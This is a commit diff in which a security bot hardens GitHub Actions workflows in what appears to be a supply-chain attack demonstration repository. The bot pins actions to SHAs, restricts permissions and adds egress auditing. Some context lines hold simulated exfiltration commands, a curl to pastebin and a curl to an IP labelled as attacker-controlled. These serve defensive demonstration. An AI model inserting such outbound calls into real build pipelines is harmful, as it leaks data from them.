Skip to content

Commit b1835d7

Browse files
Apply security best practicesSigned-off-by: StepSecurity Bot <[email protected]>
1 parent 4da23c8 commit b1835d7

24 files changed

+132
-41
lines changed

.github/workflows/PRTargetWorkflow.yml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,20 @@ on:
77
- synchronize
88
- reopened
99

10+
permissions: {}
11+
1012
jobs:
1113
pr-target-check:
14+
permissions:
15+
contents: read # for actions/checkout to fetch code
1216
runs-on: ubuntu-latest
1317

1418
steps:
19+
- name: Harden the runner (Audit all outbound calls)
20+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
21+
with:
22+
egress-policy: audit
23+
1524
- name: Check out code
1625
uses: actions/checkout@v4
1726

.github/workflows/anomalous-outbound-calls.yaml

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,17 @@
11
name: Anomalous Outbound Calls
22
on:
33
workflow_dispatch:
4+
permissions: {}
5+
46
jobs:
57
unexpected-outbound-calls:
8+
permissions:
9+
contents: read
610
name: AnomalousOutboundCalls
711
runs-on: ubuntu-latest
812
steps:
913
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1115
with:
1216
egress-policy: audit
1317
- run: "curl https://pastebin.com -L || true"

.github/workflows/arc-codecov-simulation.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ jobs:
77
runs-on: self-hosted
88
steps:
99
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1111
with:
1212
egress-policy: block
1313
allowed-endpoints: >
@@ -28,7 +28,7 @@ jobs:
2828
cd ./src/exfiltration-demo
2929
npm install
3030
- name: Publish to Registry
31-
uses: elgohr/Publish-Docker-Github-Action@v5
31+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
3232
with:
3333
name: ${{ github.repository }}/prod:latest
3434
username: ${{ github.actor }}

.github/workflows/arc-secure-by-default.yml

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,18 +2,34 @@ name: "ARC: Secure-By-Default Cluster-Level Policy"
22
on:
33
workflow_dispatch:
44

5+
permissions: {}
6+
57
jobs:
68
direct-ip-hosted:
9+
permissions:
10+
contents: read # for actions/checkout to fetch code
711
runs-on: ubuntu-latest
812
steps:
13+
- name: Harden the runner (Audit all outbound calls)
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
15+
with:
16+
egress-policy: audit
17+
918
- uses: actions/checkout@v3
1019

1120
# Codecov Scenario: Exfiltrate data to attacker's IP address
1221
- name: Data Exfiltration To Attacker Controlled IP address
1322
run: curl 104.16.209.12 --connect-timeout 5
1423
direct-ip-arc:
24+
permissions:
25+
contents: read # for actions/checkout to fetch code
1526
runs-on: self-hosted
1627
steps:
28+
- name: Harden the runner (Audit all outbound calls)
29+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
30+
with:
31+
egress-policy: audit
32+
1733
- uses: actions/checkout@v3
1834

1935
# Codecov Scenario: Exfiltrate data to attacker's IP address

.github/workflows/arc-solarwinds-simulation.yml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,11 @@ jobs:
66
arc-solarwinds-simulation:
77
runs-on: self-hosted
88
steps:
9+
- name: Harden the runner (Audit all outbound calls)
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
11+
with:
12+
egress-policy: audit
13+
914
- uses: actions/checkout@v3
1015
- uses: actions/setup-node@v3
1116
with:
@@ -15,7 +20,7 @@ jobs:
1520
cd ./src/backdoor-demo
1621
npm install
1722
- name: Publish to Registry
18-
uses: elgohr/Publish-Docker-Github-Action@v5
23+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
1924
with:
2025
name: ${{ github.repository }}/prod:latest
2126
username: ${{ github.actor }}

.github/workflows/arc-zero-effort-observability.yml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,11 @@ jobs:
66
build:
77
runs-on: self-hosted
88
steps:
9+
- name: Harden the runner (Audit all outbound calls)
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
11+
with:
12+
egress-policy: audit
13+
914
- uses: actions/checkout@v3
1015
- uses: actions/setup-node@v3
1116
with:
@@ -15,7 +20,7 @@ jobs:
1520
cd ./src/exfiltration-demo
1621
npm install
1722
- name: Publish to Registry
18-
uses: elgohr/Publish-Docker-Github-Action@v5
23+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
1924
with:
2025
name: ${{ github.repository }}/prod:latest
2126
username: ${{ github.actor }}

.github/workflows/baseline_checks.yml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,11 @@ jobs:
77
build:
88
runs-on: ubuntu-latest
99
steps:
10-
- uses: step-security/harden-runner@int-sh
10+
- uses: step-security/harden-runner@668ad3cce4bd0191ec8fdd9868adcb7521a9dacd # int-sh
1111
with:
1212
egress-policy: audit
1313

14-
- uses: crazy-max/ghaction-github-status@v4
14+
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0
1515

1616
- uses: actions/checkout@v3
1717

@@ -22,12 +22,12 @@ jobs:
2222
2323
- name: get-npm-version
2424
id: package-version
25-
uses: martinbeentjes/[email protected]
25+
uses: step-security/npm-get-version-action@937365306ec087b7af8c059beac03ae4c05533e5 # v1.3.1
2626
with:
2727
path: src/exfiltration-demo
2828

2929
- name: Publish to Registry
30-
uses: elgohr/Publish-Docker-Github-Action@v5
30+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
3131
with:
3232
name: ${{ github.repository }}/prod:latest
3333
username: ${{ github.actor }}

.github/workflows/block-dns-exfiltration.yaml

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,17 @@
11
name: Block DNS Exfiltration With Harden-Runner
22
on:
33
workflow_dispatch:
4+
permissions: {}
5+
46
jobs:
57
build:
8+
permissions:
9+
contents: read # for actions/checkout to fetch code
610
name: Deploy
711
runs-on: ubuntu-latest
812
steps:
913
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1115
with:
1216
egress-policy: block
1317
allowed-endpoints: |

.github/workflows/changed-files-vulnerability-with-hr.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ jobs:
1515
name: Test changed-files
1616
steps:
1717
- name: Harden Runner
18-
uses: step-security/harden-runner@v2
18+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1919
with:
2020
disable-sudo: true
2121
egress-policy: block
@@ -29,7 +29,7 @@ jobs:
2929
# Example 1
3030
- name: Get changed files
3131
id: changed-files
32-
uses: tj-actions/changed-files@v40
32+
uses: step-security/changed-files@95b56dadb92a30ca9036f16423fd3c088a71ee94 # v46.0.5
3333

3434
- name: List all changed files
3535
run: |

.github/workflows/changed-files-vulnerability-without-hr.yml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,19 @@ jobs:
1414
runs-on: ubuntu-latest
1515
name: Test changed-files
1616
steps:
17+
- name: Harden the runner (Audit all outbound calls)
18+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
19+
with:
20+
egress-policy: audit
21+
1722
- uses: actions/checkout@v4
1823
with:
1924
fetch-depth: 0
2025

2126
# Example 1
2227
- name: Get changed files
2328
id: changed-files
24-
uses: tj-actions/changed-files@v40
29+
uses: step-security/changed-files@95b56dadb92a30ca9036f16423fd3c088a71ee94 # v46.0.5
2530

2631
- name: List all changed files
2732
run: |

.github/workflows/hosted-file-monitor-with-hr.yml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ jobs:
66
build:
77
runs-on: ubuntu-latest
88
steps:
9-
- uses: step-security/harden-runner@v2
9+
- uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1010
with:
1111
egress-policy: audit
1212

@@ -17,13 +17,13 @@ jobs:
1717
cd ./src/backdoor-demo
1818
npm install
1919
20-
- uses: madhead/semver-utils@latest
20+
- uses: step-security/semver-utils@a24a84bec134bf99b85937a44b58cc9a1d268edd # v4.3.0
2121
id: version
2222
with:
2323
version: 1.2.3
2424

2525
- name: Publish to Registry
26-
uses: elgohr/Publish-Docker-Github-Action@v5
26+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
2727
with:
2828
name: ${{ github.repository }}/prod:latest
2929
username: ${{ github.actor }}

.github/workflows/hosted-file-monitor-without-hr.yml

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,20 +6,25 @@ jobs:
66
build:
77
runs-on: ubuntu-latest
88
steps:
9+
- name: Harden the runner (Audit all outbound calls)
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
11+
with:
12+
egress-policy: audit
13+
914
- uses: actions/checkout@v3
1015

1116
- name: npm install
1217
run: |
1318
cd ./src/backdoor-demo
1419
npm install
1520
16-
- uses: madhead/semver-utils@latest
21+
- uses: step-security/semver-utils@a24a84bec134bf99b85937a44b58cc9a1d268edd # v4.3.0
1722
id: version
1823
with:
1924
version: 1.2.3
2025

2126
- name: Publish to Registry
22-
uses: elgohr/Publish-Docker-Github-Action@v5
27+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
2328
with:
2429
name: ${{ github.repository }}/prod:latest
2530
username: ${{ github.actor }}

.github/workflows/hosted-https-monitoring-hr.yml

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,17 +2,22 @@ name: "Hosted: HTTPS Monitoring with Harden-Runner"
22
on:
33
workflow_dispatch:
44

5+
permissions: {}
6+
57
jobs:
68
build:
9+
permissions:
10+
contents: read # for JasonEtco/create-an-issue to read template files
11+
issues: write # for JasonEtco/create-an-issue to create new issues
712
runs-on: ubuntu-latest
813
steps:
9-
- uses: step-security/harden-runner@v2
14+
- uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1015
with:
1116
egress-policy: audit
1217

1318
- uses: actions/checkout@v3
1419

15-
- uses: JasonEtco/create-an-issue@v2
20+
- uses: JasonEtco/create-an-issue@1b14a70e4d8dc185e5cc76d3bec9eab20257b2c5 # v2.9.2
1621
env:
1722
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
1823

.github/workflows/hosted-network-filtering-hr.yml

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ jobs:
77
runs-on: ubuntu-latest
88
steps:
99
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1111
with:
1212
disable-sudo: true
1313
egress-policy: block
@@ -17,7 +17,7 @@ jobs:
1717
registry.npmjs.org:443
1818
www.githubstatus.com:443
1919
20-
- uses: crazy-max/ghaction-github-status@v4
20+
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0
2121

2222
- uses: actions/checkout@v3
2323

@@ -28,17 +28,17 @@ jobs:
2828
2929
- name: get-npm-version
3030
id: package-version
31-
uses: martinbeentjes/[email protected]
31+
uses: step-security/npm-get-version-action@937365306ec087b7af8c059beac03ae4c05533e5 # v1.3.1
3232
with:
3333
path: src/exfiltration-demo
3434

35-
- uses: madhead/semver-utils@latest
35+
- uses: step-security/semver-utils@a24a84bec134bf99b85937a44b58cc9a1d268edd # v4.3.0
3636
id: version
3737
with:
3838
version: 1.2.3
3939

4040
- name: Publish to Registry
41-
uses: elgohr/Publish-Docker-Github-Action@v5
41+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
4242
with:
4343
name: ${{ github.repository }}/prod:latest
4444
username: ${{ github.actor }}

.github/workflows/hosted-network-monitoring-hr.yml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ jobs:
1010
with:
1111
egress-policy: audit
1212

13-
- uses: crazy-max/ghaction-github-status@v4
13+
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0
1414

1515
- uses: actions/checkout@v3
1616

@@ -21,12 +21,12 @@ jobs:
2121
2222
- name: get-npm-version
2323
id: package-version
24-
uses: martinbeentjes/[email protected]
24+
uses: step-security/npm-get-version-action@937365306ec087b7af8c059beac03ae4c05533e5 # v1.3.1
2525
with:
2626
path: src/exfiltration-demo
2727

2828
- name: Publish to Registry
29-
uses: elgohr/Publish-Docker-Github-Action@v5
29+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
3030
with:
3131
name: ${{ github.repository }}/prod:latest
3232
username: ${{ github.actor }}

.github/workflows/hosted-network-without-hr.yml

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,12 @@ jobs:
66
build:
77
runs-on: ubuntu-latest
88
steps:
9-
- uses: crazy-max/ghaction-github-status@v4
9+
- name: Harden the runner (Audit all outbound calls)
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
11+
with:
12+
egress-policy: audit
13+
14+
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0
1015

1116
- uses: actions/checkout@v3
1217

@@ -17,12 +22,12 @@ jobs:
1722
1823
- name: get-npm-version
1924
id: package-version
20-
uses: martinbeentjes/[email protected]
25+
uses: step-security/npm-get-version-action@937365306ec087b7af8c059beac03ae4c05533e5 # v1.3.1
2126
with:
2227
path: src/exfiltration-demo
2328

2429
- name: Publish to Registry
25-
uses: elgohr/Publish-Docker-Github-Action@v5
30+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
2631
with:
2732
name: ${{ github.repository }}/prod:latest
2833
username: ${{ github.actor }}

0 commit comments

Comments
 (0)